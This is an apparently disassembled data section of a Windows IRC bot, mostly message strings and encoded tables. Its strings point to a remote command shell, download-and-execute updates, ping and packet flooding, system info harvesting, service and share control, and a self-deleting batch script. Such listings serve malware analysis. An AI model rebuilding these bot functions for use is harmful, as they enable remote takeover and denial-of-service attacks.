aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5C+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; _0:loc_415C0Do
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
					; _2:0042F8DCo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; _0:00415BF8o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; _0:00415BE8o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; _0:00415BCFo
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; _0:00415BBFo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; _0:00415BAFo
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; _0:00415BA1o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
dword_42DE44	dd 4E414Ch		; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------

loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: _2:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: _2:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: _2:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: _2:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: _2:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: _2:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: _2:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: _2:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: _2:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: _2:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
